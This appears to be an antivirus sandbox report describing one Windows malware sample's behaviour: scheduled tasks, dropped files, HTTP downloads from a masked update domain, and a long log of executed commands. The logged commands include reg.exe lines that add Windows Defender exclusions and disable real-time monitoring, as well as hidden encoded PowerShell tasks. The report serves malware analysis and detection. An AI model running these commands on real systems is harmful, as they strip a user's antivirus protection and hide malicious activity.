Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\ghdukjtel
- <SYSTEM32>\tasks\gxyhrjgnd
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\CmcjZTIZgVgU2' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\VdCWbDrNtmIpXjzDABR' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\iQOjBzrUU' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\wRkhHwnVmSBEC' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ProgramFiles(x86)%\zChKBVfzflUn' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%ALLUSERSPROFILE%\jFVJxKtXMnCHQCVB' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\WzPXSYZoqFyPIvOQP' = '0'
- [<HKLM>\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Temp\EDiMlcwIWANLJQCe' = '0'
Creates and executes the following
- '%WINDIR%\temp\ayzbaipjevqvsfjy\gbikic.exe' /S /UPDATE
Modifies file system
Creates the following files
- %WINDIR%\temp\ayzbaipjevqvsfjy\gbikic.exe
Deletes the following files
- <SYSTEM32>\tasks\ghdukjtel
- <SYSTEM32>\tasks\gxyhrjgnd
Substitutes the following files
- %ALLUSERSPROFILE%\ntuser.pol
- %HOMEPATH%\ntuser.pol
- %ALLUSERSPROFILE%\tempntuser.pol
- %HOMEPATH%\tempntuser.pol
Network activity
Connects to
- 'te###pdate.info':80
TCP
HTTP GET requests
- http://www.te###pdate.info/updates/yd/yt_e_b_39/win/version.txt
- http://www.te###pdate.info/updates/yd/yt_e_b_39/win/update_e.jpg
UDP
- DNS ASK te###pdate.info
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==' (with hidden window)
- '<SYSTEM32>\gpupdate.exe' /force' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "ghDuKJtEl" /SC once /ST 12:38:17 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C copy nul "%WINDIR%\Temp\EDiMlcwIWANLJQCe\PIJfgatq\rEKDUkOikLbUhkGU.wsf"
- '%WINDIR%\syswow64\wscript.exe' "%WINDIR%\Temp\EDiMlcwIWANLJQCe\PIJfgatq\rEKDUkOikLbUhkGU.wsf"
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CmcjZTIZgVgU2" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\CmcjZTIZgVgU2" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\VdCWbDrNtmIpXjzDABR" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\iQOjBzrUU" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\WzPXSYZoqFyPIvOQP" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\iQOjBzrUU" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wRkhHwnVmSBEC" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\wRkhHwnVmSBEC" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\zChKBVfzflUn" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\zChKBVfzflUn" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\jFVJxKtXMnCHQCVB" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ALLUSERSPROFILE%\jFVJxKtXMnCHQCVB" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%ProgramFiles(x86)%\VdCWbDrNtmIpXjzDABR" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "ghDuKJtEl"
- '<SYSTEM32>\taskeng.exe' {9E5FB9CA-71E1-4240-9F49-795C799896D3} S-1-5-21-1960123792-2022915161-3775307078-1001:ogvwsqyohrgl\user:Interactive:[1]
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
- '<SYSTEM32>\gpupdate.exe' /force
- '<SYSTEM32>\gpscript.exe' /RefreshSystemParam
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "ghDuKJtEl"
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
- '%WINDIR%\syswow64\schtasks.exe' /CREATE /TN "gxyHrJGNd" /SC once /ST 07:31:14 /F /RU "user" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZ...
- '%WINDIR%\syswow64\schtasks.exe' /run /I /tn "gxyHrJGNd"
- '<SYSTEM32>\raserver.exe' /offerraupdate
- '%WINDIR%\syswow64\schtasks.exe' /DELETE /F /TN "gxyHrJGNd"
- '%WINDIR%\syswow64\cmd.exe' /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:32
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%WINDIR%\Temp\EDiMlcwIWANLJQCe" /t REG_DWORD /d 0 /reg:64
- '%WINDIR%\syswow64\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "%TEMP%\WzPXSYZoqFyPIvOQP" /t REG_DWORD /d 0 /reg:64
